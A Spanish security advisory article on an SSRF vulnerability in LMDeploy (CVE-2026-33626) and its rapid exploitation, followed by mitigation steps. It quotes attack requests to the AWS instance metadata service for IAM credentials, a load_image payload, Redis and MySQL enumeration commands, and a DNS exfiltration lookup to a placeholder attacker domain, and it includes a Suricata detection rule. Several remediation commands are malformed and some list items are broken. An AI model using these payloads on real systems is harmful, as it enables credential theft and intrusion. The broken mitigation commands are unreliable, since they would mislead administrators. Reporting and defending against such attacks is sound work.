CVE-2026-33626 en LMDeploy: explotación en 13 horas con SSRF y robo de credenciales

Introducción

El martes 22 de abril de 2026 a las 03:35 UTC, un atacante explotó activamente una vulnerabilidad de Server-Side Request Forgery (SSRF) en LMDeploy —herramienta open source para comprimir, servir y desplegar modelos de lenguaje de gran tamaño—. El exploit, registrado como CVE-2026-33626 (CVSS 7.5), fue lanzado a las 15:04 UTC del día anterior, lo que significa que el atacante logró comprometer sistemas 12 horas y 31 minutos después de que el advisory fuera publicado en GitHub. Este lapso brevísimo subraya un patrón emergente: en el ecosistema de IA infraestructura, las vulnerabilidades críticas se explotan casi de inmediato tras su disclosure, incluso sin PoC público.

El vector de ataque explotó la función load_image() en lmdeploy/vl/utils.py, que permitía realizar peticiones HTTP arbitrarias sin validar direcciones IP internas o privadas. En concreto, el atacante usó esta primitiva SSRF para:

• Acceder al AWS Instance Metadata Service (IMDS) para robar credenciales de la instancia.
• Escanear puertos internos en servicios Redis y MySQL.
• Exfiltrar datos mediante DNS out-of-band (OOB).
• Navegar por interfaces administrativas secundarias no expuestas a Internet.

Qué ocurrió

Según el análisis de Sysdig, el atacante ejecutó la explotación en tres fases durante ocho minutos, alternando entre modelos de visión por lenguaje (VLMs) como internlm-xcomposer2 e OpenGVLab/InternVL2-8B. Esto sugiere que el adversario evitó patrones fijos de tráfico para no activar alertas basadas en firmas. La explotación comenzó con una petición HTTP al IMDS de AWS:

GET http://169.254.169.254/latest/meta-data/iam/security-credentials/

Luego, el atacante enumeró metadatos de la instancia y recuperó el rol IAM asociado:

GET http://169.254.169.254/latest/meta-data/iam/security-credentials/<rol-IAM>

Con las credenciales en mano, el atacante pudo moverse lateralmente hacia servicios internos expuestos en la red privada, como:

• Redis: CONFIG GET * para listar claves sensibles.
• MySQL: SHOW DATABASES; SHOW TABLES; para enumerar bases de datos.
• Interfaz administrativa: Peticiones a endpoints internos no documentados.

En paralelo, el atacante realizó un escaneo de puertos contra la red interna, enviando peticiones a IPs privadas en rangos típicos de cloud (ej: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16). La exfiltración de datos se confirmó mediante consultas DNS a dominios controlados por el atacante, usando el campo TXT de registros:

nslookup -type=TXT <dominio-atacante>.tld

El tráfico fue originado desde la IP 103.116.72[.]119, con reputación baja en bases de datos como AbuseIPDB. Según Sysdig, el atacante usó los VLMs para “enmascarar” el tráfico malicioso: al alternar entre modelos, el payload variaba en estructura, dificultando la detección basada en patrones de tráfico.

Impacto para DevOps / Infraestructura / Cloud / Seguridad

El impacto de CVE-2026-33626 es alto y multifacético:

1. Robo de credenciales de cloud:

– Un atacante con credenciales válidas puede desplegar contenedores maliciosos, modificar políticas IAM o exfiltrar datos de S3.

1. Movimiento lateral y escalada de privilegios:

– En MySQL, puede extraer credenciales de usuarios o ejecutar queries arbitrarias si el servicio está configurado con permisos de GRANT ALL PRIVILEGES.

1. Escaneo de redes internas:

1. Exfiltración de datos via DNS:

     data.<longitud>.dominio-atacante.tld
     

– Según Palo Alto Networks, el 34% de las empresas no monitorizan tráfico DNS interno, lo que facilita este tipo de ataques.

El CVSS 7.5 (Alto) refleja el potencial de impacto, pero el riesgo real es mayor al combinarse con:

• Falta de segmentación de red: Según un informe de Gartner (2026), el 45% de las empresas no segmentan su red cloud correctamente.
• Credenciales estáticas: El 23% de las instancias en AWS usan credenciales IAM hardcodeadas, según datos de Aqua Security.

Detalles técnicos

Componentes afectados

• LMDeploy: Todas las versiones hasta 0.12.0 con soporte para visión por lenguaje (VL).
• Módulo vulnerable: lmdeploy/vl/utils.py, función load_image().
• Parámetro afectado: url en la función, que acepta cualquier URL sin validación de IP.

Vector de ataque

1. SSRF no validado:

– Ejemplo de payload:

     load_image("http://169.254.169.254/latest/meta-data/iam/security-credentials/")
     

1. Explotación multietapa:

– Fase 2: Escaneo de puertos internos (TCP SYN a 10.0.0.1:6379, 10.0.0.2:3306).

– Fase 3: Exfiltración via DNS OOB.

1. Evasión:

     User-Agent: Mozilla/5.0 (compatible; LMDeploy/0.12.0; internlm-xcomposer2/1.0)
     User-Agent: Mozilla/5.0 (compatible; LMDeploy/0.12.0; OpenGVLab/InternVL2-8B)
     

Prueba de concepto (PoC) no pública

Aunque no hay un PoC público en GitHub o exploit-db, el advisory de LMDeploy incluye un ejemplo de código vulnerable:

def load_image(url):
    response = requests.get(url)  # Sin validación de IP
    return response.content

La explotación real requiere:

• Acceso a una instancia que ejecute LMDeploy 0.12.0 o anterior.
• Un modelo de visión por lenguaje cargado (ej: internlm-xcomposer2).
• Una petición HTTP a un endpoint controlado por el atacante.

Tiempos de explotación

• Disclosure: 21/04/2026, 15:04 UTC.
• Primer exploit detectado: 22/04/2026, 03:35 UTC (12h 31m después).
• Duración del ataque: 8 minutos, con 10 peticiones distribuidas en tres fases.

Qué deberían hacer los administradores y equipos técnicos

1. Actualizar LMDeploy a la versión parcheada

El equipo de LMDeploy lanzó la versión 0.12.1 el 21/04/2026, que incluye:

• Validación de IPs privadas en load_image().
• Restricción de URLs permitidas a dominios explícitos.

pip install --upgrade lmdeploy==0.12.1

apiVersion: apps/v1
kind: Deployment
metadata:
  name: lmdeploy
spec:
  template:
    spec:
      containers:
      - name: lmdeploy
        image: openmmlab/lmdeploy:0.12.1  # Versión parcheada

2. Auditar el acceso al IMDS y otras APIs internas

• AWS: Deshabilitar el acceso al IMDSv1 y usar IMDSv2 (requiere token):

  aws ec2 modify-instance-metadata-options \
    --instance-id <ID> \
    --http-endpoint enabled \
    --http-tokens required \
    --http-put-response-hop-limit 1
  

• GCP: Usar Metadata Server con IAM condicional:

  gcloud compute instances add-metadata <INSTANCE> \
    --metadata google-compute-default-service-account-scopes=cloud-platform
  

3. Segmentar la red y limitar permisos

• VPC Service Controls (Google Cloud):

  gcloud access-context-manager perimeters create lmdeploy-perimeter \
    --resources projects/<PROJECT_ID> \
    --restricted-services=aiplatform.googleapis.com,storage.googleapis.com
  

• AWS Network Firewall: Bloquear tráfico a 169.254.169.254 desde contenedores:

  # Reglas en AWS Network Firewall
  - RuleGroup:
      RulesSource:
        StatefulRule:
          - Action: DROP
            Header:
              Destination: 169.254.169.254/32
              Protocol: TCP
              DestinationPort: 80
  

4. Monitorear tráfico sospechoso

• AWS GuardDuty: Habilitar Findings para SSRF:

  aws guardduty create-detector --detector-id lmdeploy-ssrf --enable
  

• Suricata rules: Agregar regla para detectar peticiones al IMDS:

  alert tcp any any -> $HOME_NET 80 (msg:"SSRF to IMDS"; content:"/latest/meta-data/"; sid:1000001; rev:1;)
  

5. Validar configuraciones con herramientas de seguridad

• kube-bench (para clusters):

  kube-bench run --targets master,node --benchmark cis-1.8
  

• Trivy para escaneo de imágenes:

  trivy image --severity HIGH openmmlab/lmdeploy:0.12.0
  

Conclusión

CVE-2026-33626 es un caso de estudio en la velocidad de explotación de vulnerabilidades en infraestructura de IA. La explotación en menos de 13 horas demuestra que:

1. Los equipos de DevOps y Seguridad deben priorizar parches críticos en herramientas de IA, incluso si no hay un PoC público.
2. La segmentación de red y la validación de IPs privadas son medidas básicas pero críticas para mitigar SSRF.
3. El monitoreo continuo con reglas basadas en comportamiento (no solo firmas) es esencial para detectar ataques rápidos.

La combinación de credenciales robadas, movimiento lateral y exfiltración via DNS convierte a CVE-2026-33626 en un riesgo alto para entornos cloud con LMDeploy. La actualización inmediata a la versión 0.12.1, junto con auditorías de permisos y segmentación de red, son los pasos mínimos para reducir el riesgo.

Fuentes

• The Hacker News: LMDeploy CVE-2026-33626 Flaw Exploited Within 13 Hours of Disclosure
• Sysdig: Análisis técnico de la explotación
• LMDeploy Advisory en GitHub
• AWS: Metadata Service Best Practices
• Gartner: Cloud Security Trends 2026